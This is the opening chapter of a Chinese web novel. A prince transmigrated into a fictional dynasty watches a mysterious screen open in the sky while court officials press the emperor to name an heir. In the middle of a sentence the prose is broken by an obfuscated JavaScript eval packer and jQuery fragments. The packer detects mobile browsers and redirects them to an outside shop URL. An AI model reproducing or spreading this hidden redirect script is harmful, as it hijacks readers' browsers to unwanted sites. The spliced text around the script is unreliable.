崇朝十九年,太平宫。
“四哥,快来追风筝啊!”
穿着明黄色蟒袍的少年语气欢快,正手持风筝线轮,朝着红墙外跑去。
他不远处的大树众树叶微微浮动,透过缝隙看去,竟能看到一位青年睡在枝丫上,脸部被书籍盖住,像是在睡懒觉。
程靖听到十弟的叫喊,把脸上放的书拿到一边,抻了个懒腰起身。
他坐在树干上轻笑了声,一抬眼就看到底下的十皇子程睿到处乱跑,几个老太监围着他,怕他出事又不敢拦。
程靖从树上一溜烟下来,走到程睿旁,拽着他的耳朵就把人拖向前方的宫殿走去:“小十啊小十,父皇可是把教你的重任给我了,今晚上背不出来十章论语,可是要我好看。”
程睿整个人被拖着走,手里的风筝线轮脱手落地:“四哥、四哥,风筝掉了,我去捡下。”
“又来这套,别说一个风筝,就是天上落了一个口子,也妨碍不了你今晚读书。”
程睿看着自己的计谋成空,脸上欲哭无泪,不由得吐槽:“你今天睡了一下午都不教我,我要向父皇告你的状!”
他身旁的几个老太监在一边憋笑,顺道将落在地上的风筝线轮捡起来收回,可就这么往天上一看,整个人大惊失色。
程睿看着他们的样子,眉头一皱,抬头望去,他赶忙拍了拍程靖拽着自己衣领的手,叫喊道:“四哥四哥,快看快看,天真破了。”
程靖心想小十这张嘴越来越会胡说八道了:“天破了自有女娲补天,你不用操心。”
“不是,四哥,这回我真没骗你!我愿用我一月的俸银作保。”
程靖这才转身看去,这一看才发现,小十这小子还真没说谎。
只见碧蓝的天空之上出现了一道裂痕,并像画卷一般缓缓展开。
其中偶尔出现一些影像,还伴随着画外的人声。
程睿趁此机会,赶紧逃出四哥的魔掌,整理了一下自己的衣服,清咳了一声。
“四哥,这是什么呀?是你之前嘴里念叨的电视机吗?”
程靖拍了拍程睿的头,轻声低喃:“这个比那高级多了。”
自从二十年前穿到这个架空的朝代,他还以为自己永远与现代产品隔绝了,没想到现在还能赶上这波天幕的热潮。
------
金銮殿。
明黄色衮袍加身的上位者正俯身抬笔,写着一道圣旨,一旁的大监帮忙研墨。
“冯春,朕的这道圣旨,下的可好啊?”
大监在一旁接连称赞:“这么一桩旷世奇缘,由皇上您亲自来下,自是极好的。”
崇太祖身心大悦,提笔写完最后一字。
只见汉白玉的宫殿地板上一位慌慌张张的内侍出现,跪伏在地上,支吾着说不清楚话。
冯春眉头一皱,上前询问:“怎么回事?”
这是他前几年刚选出来的小监,最近正提拔着,不该如此慌张。
那内侍看了一眼冯春,这才像找回定心丸似的开口:“天有异象,外面......出现了一副巨大的幕布。”
崇太祖挥了挥手,示意这人出去,接着阔步走出殿外。
他抬头即看到天幕,目光微沉。
天幕中偶尔会出现女子的人像,还有滋滋啦啦的噪音。
冯春在一旁站立,未敢发一言。
“去查,看何人何地能看到此天幕?”
“着羽衣卫去查此番异象究竟有谁在幕后操纵?”
崇太祖负手而立,看着天幕上的影响脸色肃穆。
冯春在一旁得令,抹了一把额上的冷汗,后立即吩咐下去。
自几年前皇后、太子薨逝后,崇太祖的脾气越发难以琢磨了,下面办事的人也越来越紧张了。
好不容易朝中有桩喜事,能让朝中上下都开心开心,偏偏还撞上了天有异象。
冯春扶了一把自己的老腰,长叹一口气。
------
出现天幕后的第七日。
百姓们看着天上出现的庞然大物,已经有些习惯它不时出现些噪声和卡顿的现象,该买菜的买菜,该唠嗑的唠嗑。
而金銮殿内的文武百官也都纷纷上朝。
上位的崇太祖压下疲倦,开始听朝下的文武百官争吵。
几日前出现的天幕至今没有查出结果,好在并未出现太大波动。
百官吵来吵去,用度上,从边境战争吵到百姓赋税,户部说没钱,又从攻讦臣子贪污说到他又纳了几房小妾,说到最后,又不免提到了一个老生常谈的话题。
太子究竟什么时候立?
国不可一日无君,储君之位更是至关重要。
太子在位时,励精图治,不可谓不贤达,只是前几年病逝后,圣上大恸,他们这些臣子在人情上不好劝,但现在太子已经走了好几年了,他们这些大多又是跟着太祖一起打下江山的臣子,再不劝就是有违君臣之道了。
崇太祖听到这群人忽然静下来,一副意见统一的样子,就知道他们要说什么了。
他是不想立太子吗?他也想立啊。
可自臻儿走后,剩下的这群皇子有一个成器的吗?
不说根本就没长开的小崽子,就说这几个已经上朝的,又有哪一个能堪大任。
与崇太祖有一样想法的还有站在前面第一排老神叨叨一言不发的镇国公顾昔年。
他是当今圣上的国舅,之前薨逝的太子程臻是他亲侄子,当年跟着太祖打江山时还断了一只手,要说愁,没人比他更愁了。
二皇子本该是顺位继承的第一人选,可此人眼界太窄,忠贤不清、一叶障目,别人说什么他就信什么,且胸无抱负难登大宝。
六皇子倒是个有野心的,可手段狠厉、心胸狭隘,此人若上位,顾家满门危矣。
五皇子呢,顾昔年往旁边一看,嘿,此人就在这朝会上睡着了,三皇子直接请假没来。
至于四皇子又太过平庸了,母家实力不强,自身能力又不突出。
总而言之,没找到一个当储君的好苗子。
顾昔年长叹一口气,顿时觉得脑袋瓜子都嗡嗡的,疼的要命。
平庸的四皇子程靖看着这群臣子们突然静下来,右眼皮猛的一跳。
他心道不好,俗话说:左眼跳财、右眼跳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581983|205122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灾,这群臣子今天威逼的势头有点大啊,他有种不详的预感。
果不其然,一位文臣猛然出列,径直跪在金銮殿中央,泫然欲哭:“皇上,国不可一日无储君啊。”
瞬息间,整个金銮殿内一大片人都纷纷跪下。
程靖站在前方,浑身鸡皮疙瘩都起来了,恨不得自己跟那个摆烂的三皇子一样请假,今日就不该来。
朝臣跪倒一片,殿内一片寂静。
只听上位传来阵阵冷笑声,崇太祖的声音传来,响彻整个大殿。
“朕还没死呢,你们这些人想干什么?”
殿中跪倒众人不由打了个冷颤,心里暗骂身边人跪的太快,脑子还没反应过来,身子就跟着一起跪下去了。
“你,告诉朕,想立谁为储君?”
为首出列跪下的文官被指出来。
他缓缓脱下头上官帽,跪伏在地上,字正腔圆说道。
“回陛下,储君乃一国之本,非臣子所能及。臣不归党派,只是陛下若迟迟不立,只怕我大崇江山危矣。臣愿以死明志,往圣上三思。”
说完这话,他整个人就猛的朝着前方的柱子冲去。
离柱子最近的程靖心里一紧:我去,这是要撞柱保明节啊。
这要是让他撞成了,台上本就情绪不稳定的老爹又得发疯了。
他快速出手,拦了这文臣一下,让他在地上摔了个跟头,这才没有让他撞成。
“小四,你拦他干什么?让他撞!”
崇太祖看着那文臣一副要留清白在人间的样子就来气,接着怒斥道。
话是这样说,可身边的冯春已经吩咐手下人快速行动,把那褚侍郎嘴给堵上,人给绑起来了。
“回父皇,儿臣看着这褚侍郎的腰间有一枚玉佩甚是精致,想要看清楚想着回去买个一样的,一不小心就拦着他保清明了,实在是抱歉。”
程靖上前一步,拱手行礼回道。
说完这话,他还朝着褚侍郎回了一个歉意的眼神,十分真诚,不过褚侍郎整个人被绑住,嘴又被堵住,实在是只能用恨不得刀了程靖的眼光去扫射他。
他这一回答,倒是给崇太祖提了个醒,寻常的侍郎哪里买的起这温润的好玉,何况如此精致的雕琢,这褚侍郎是江南士绅的人。
这群人,过段时间就要出来蹦跶一下,生怕别人不知道他们还没死绝。
崇太祖冷哼一声,接着说道。
“你不是要以死明志吗?朕给你这个机会,朝会结束后,你这官也别做了,朕准你回乡,你爱死哪里死哪里,只要别死朕眼前。”
这么一场轩然大波在眼前,这朝会也没什么可开的了,不过寒暄几句北境战场上的喜报,决定如何嘉奖。
不过还是有些人直皱着眉头,想着这储君之位空悬,总不是一件好事,崇太祖呢,只当没看到,眼不见为净。
正要下朝之际,殿外忽然传来了一阵女声,响彻整个殿中。
【哈喽,大家好,我是你们今天的历史段子主播小栖,我看到很多人在后台留言啊,说让我讲一讲崇朝的第三代皇帝崇文帝,今天我们就来说一下这位千古一帝的传奇一生!】